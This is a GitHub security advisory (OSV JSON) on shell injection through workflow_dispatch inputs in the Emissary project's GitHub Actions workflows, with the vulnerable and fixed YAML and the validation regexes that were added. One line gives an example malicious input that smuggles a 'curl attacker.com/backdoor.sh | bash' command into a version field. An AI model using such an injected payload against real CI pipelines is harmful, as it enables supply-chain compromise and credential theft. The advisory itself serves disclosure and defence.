{"id":"GHSA-3g6g-gq4r-xjm9","summary":"Emissary has GitHub Actions Shell Injection via Workflow Inputs","details":"## Summary\n\nThree GitHub Actions workflow files contained **10 shell injection points** where\nuser-controlled `workflow_dispatch` inputs were interpolated directly into shell\ncommands via `${{ }}` expression syntax. An attacker with repository write access\ncould inject arbitrary shell commands, leading to repository poisoning and supply\nchain compromise affecting all downstream users.\n\n## Affected Files\n\n| Workflow file                            | Injection points |\n|------------------------------------------|------------------|\n| `.github/workflows/maven-version.yml`    | 4                |\n| `.github/workflows/cherrypick.yml`       | 5                |\n| `.github/workflows/maven-release.yml`    | 1                |\n\n## Details\n\nGitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before**\nthe shell interprets the command. When a `workflow_dispatch` input is placed directly\nin a `run:` block, an attacker who can trigger the workflow can break out of the\nintended command and execute arbitrary code.\n\n### Example — `maven-version.yml` (before fix)\n\n```yaml\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/${{ github.event.inputs.next_version }}\" \u003e\u003e \"$GITHUB_ENV\"\n```\n\nA malicious input such as `1.0.0\"; curl attacker.com/backdoor.sh | bash; echo \"`\nwould be interpolated directly into the shell, executing arbitrary commands with\nthe job's `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).\n\n### Impact\n\n- Arbitrary code execution within the CI/CD runner\n- Repository modification via the `contents: write` token (push malicious commits)\n- Supply chain poisoning — downstream users who clone or build receive compromised code\n- Credential exfiltration from the GitHub Actions environment\n\n## Remediation\n\nFixed in two PRs merged into release 8.39.0:\n\n### PR #1286 — Environment variable indirection\n\nReplaced all direct `${{ inputs.* }}` interpolation in `run:` blocks with\nenvironment variable indirection. Inputs are assigned to `env:` at the step level,\nthen referenced as shell variables inside `run:`.\n\n```yaml\n# After (safe — input is never interpreted by the shell parser)\n- name: Set the name of the branch\n  run: echo \"PR_BRANCH=action/$IN_NEXT_VERSION\" \u003e\u003e \"$GITHUB_ENV\"\n  env:\n    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}\n```\n\n### PR #1288 — Input validation\n\nAdded strict regex validation steps that run before any input is used:\n\n- `maven-version.yml`: Validates `next_version` matches `^[a-zA-Z0-9._-]+$`\n- `maven-release.yml`: Validates `release_suffix` matches `^[a-zA-Z0-9._-]+$`\n- `cherrypick.yml`: Validates `commits` matches `^([0-9a-f]{7,40})(\\s+[0-9a-f]{7,40})*$`\n\nAll jobs now also use `shell: bash` via `defaults.run.shell` to ensure consistent\nshell behavior.\n\n## Workarounds\n\nThere is no workaround other than upgrading. Organizations that have forked\nEmissary should apply the same environment variable indirection and input\nvalidation patterns to their workflow files.\n\n## References\n\n- [PR #1286 — environment variable indirection](https://github.com/NationalSecurityAgency/emissary/pull/1286)\n- [PR #1288 — input validation](https://github.com/NationalSecurityAgency/emissary/pull/1288)\n- [GitHub Security Lab: Keeping your GitHub Actions and workflows secure](https://securitylab.github.com/resources/github-actions-untrusted-input/)\n- Original report: GHSA-wjqm-p579-x3ww","aliases":["CVE-2026-35580"],"modified":"2026-04-08T00:27:16.661625Z","published":"2026-04-08T00:12:42Z","database_specific":{"nvd_published_at":"2026-04-07T17:16:33Z","cwe_ids":["CWE-77"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-08T00:12:42Z"},"references":[{"type":"WEB","url":"https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3g6g-gq4r-xjm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35580"},{"type":"WEB","url":"https://github.com/NationalSecurityAgency/emissary/pull/1286"},{"type":"WEB","url":"https://github.com/NationalSecurityAgency/emissary/pull/1288"},{"type":"PACKAGE","url":"https://github.com/NationalSecurityAgency/emissary"}],"affected":[{"package":{"name":"gov.nsa.emissary:emissary","ecosystem":"Maven","purl":"pkg:maven/gov.nsa.emissary/emissary"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.39.0"}]}],"versions":["8.0.0","8.1.0","8.10.0","8.11.0","8.11.1","8.12.0","8.13.0","8.14.0","8.15.0","8.16.0","8.17.0","8.18.0","8.19.0","8.19.1","8.2.0","8.20.0","8.21.0","8.22.0","8.23.0","8.24.0","8.25.0","8.26.0","8.27.0","8.28.0","8.29.0","8.3.0","8.30.0","8.31.0","8.32.0","8.33.0","8.34.0","8.35.0","8.36.0","8.37.0","8.38.0","8.4.0","8.5.0","8.6.0","8.7.0","8.7.1","8.8.0","8.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-3g6g-gq4r-xjm9/GHSA-3g6g-gq4r-xjm9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}]}